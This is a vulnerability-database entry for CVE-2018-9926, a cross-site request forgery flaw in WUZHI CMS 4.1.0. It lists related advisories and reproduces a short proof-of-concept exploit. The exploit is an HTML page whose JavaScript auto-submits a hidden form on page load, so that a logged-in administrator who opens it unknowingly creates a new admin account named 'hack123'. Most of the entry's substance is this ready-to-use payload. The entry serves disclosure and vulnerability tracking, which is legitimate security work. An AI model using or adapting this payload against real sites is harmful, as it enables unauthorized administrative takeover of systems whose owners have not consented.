Lucene search
K

Wuzhi CMS 4.1.0 Add Admin Cross Site Request Forgery

🗓️ 11 Apr 2018 00:00:00Reported by taogeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

WUZHI CMS 4.1.0 CSRF vulnerability adds admin accoun

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WUZHI CMS 4.1.0 - Add Admin Account Cross-Site Request Forgery Vulnerability
11 Apr 201800:00
zdt
CNVD
WUZHI CMS Cross-Site Request Forgery Vulnerability
10 Apr 201800:00
cnvd
CVE
CVE-2018-9926
10 Apr 201806:00
cve
Cvelist
CVE-2018-9926
10 Apr 201806:00
cvelist
Exploit DB
WUZHI CMS 4.1.0 - Cross-Site Request Forgery (Add Admin)
10 Apr 201800:00
exploitdb
EUVD
EUVD-2018-21518
7 Oct 202500:30
euvd
exploitpack
WUZHI CMS 4.1.0 - Cross-Site Request Forgery (Add Admin)
10 Apr 201800:00
exploitpack
NVD
CVE-2018-9926
10 Apr 201806:29
nvd
Prion
Cross site request forgery (csrf)
10 Apr 201806:29
prion
`# Exploit Title: WUZHI CMS 4.1.0 CSRF vulnerability add admin account  
# Date: 2018-04-10  
# Exploit Author: taoge  
# Vendor Homepage: https://github.com/wuzhicms/wuzhicms  
# Software Link: https://github.com/wuzhicms/wuzhicms  
# Version: 4.1.0   
# CVE : CVE-2018-9926  
  
An issue was discovered in WUZHI CMS 4.1.0.i1/4https://github.com/wuzhicms/wuzhicms/issues/128i1/4  
There is a CSRF vulnerability that can add an admin account via index.php?m=core&f=power&v=add.  
After the administrator logged in, open the csrf exp page.  
  
  
<html><body>  
<script type="text/javascript">  
function post(url,fields)  
{  
var p = document.createElement("form");  
p.action = url;  
p.innerHTML = fields;  
p.target = "_self";  
p.method = "post";  
document.body.appendChild(p);  
p.submit();  
}  
function csrf_hack()  
{  
var fields;  
  
  
fields += "<input type='hidden' name='form[role][]' value='1' />";  
fields += "<input type='hidden' name='form[username]' value='hack123' />";   
fields += "<input type='hidden' name='form[password]' value='' />";   
fields += "<input type='hidden' name='form[truename]' value='taoge@5ecurity' />";   
  
  
var url = "http://127.0.0.1/www/index.php?m=core&f=power&v=add&&_su=wuzhicms&_menuid=61&_submenuid=62&submit=taoge";  
post(url,fields);  
}  
window.onload = function() { csrf_hack();}  
</script>  
</body></html>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Apr 2018 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.00314
30